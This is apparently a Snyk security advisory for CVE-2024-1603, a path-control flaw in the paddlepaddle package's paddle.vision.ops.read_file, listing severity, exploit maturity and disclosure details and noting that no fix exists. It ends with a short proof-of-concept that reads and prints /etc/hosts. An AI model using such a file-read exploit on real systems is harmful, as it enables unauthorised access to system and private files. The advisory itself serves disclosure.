External Control of File Name or Path Affecting paddlepaddle package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-PADDLEPADDLE-6483242
  • published24 Mar 2024
  • disclosed23 Mar 2024
  • creditranjit-git @ranjit-git

Introduced: 23 Mar 2024

CVE-2024-1603  (opens in a new tab)
CWE-73  (opens in a new tab)

How to fix?

There is no fixed version for paddlepaddle.

Overview

paddlepaddle is a Parallel Distributed Deep Learning

Affected versions of this package are vulnerable to External Control of File Name or Path due to improper handling of external input through paddle.vision.ops.read_file. An attacker can achieve data exfiltration or cause a partial impact on data integrity by injecting malicious input.

PoC

import paddle
bytess=paddle.vision.ops.read_file("/etc/hosts")
a=""
for i in bytess.tolist():
 a=a+chr(i)
print(a)

CVSS Scores

version 3.1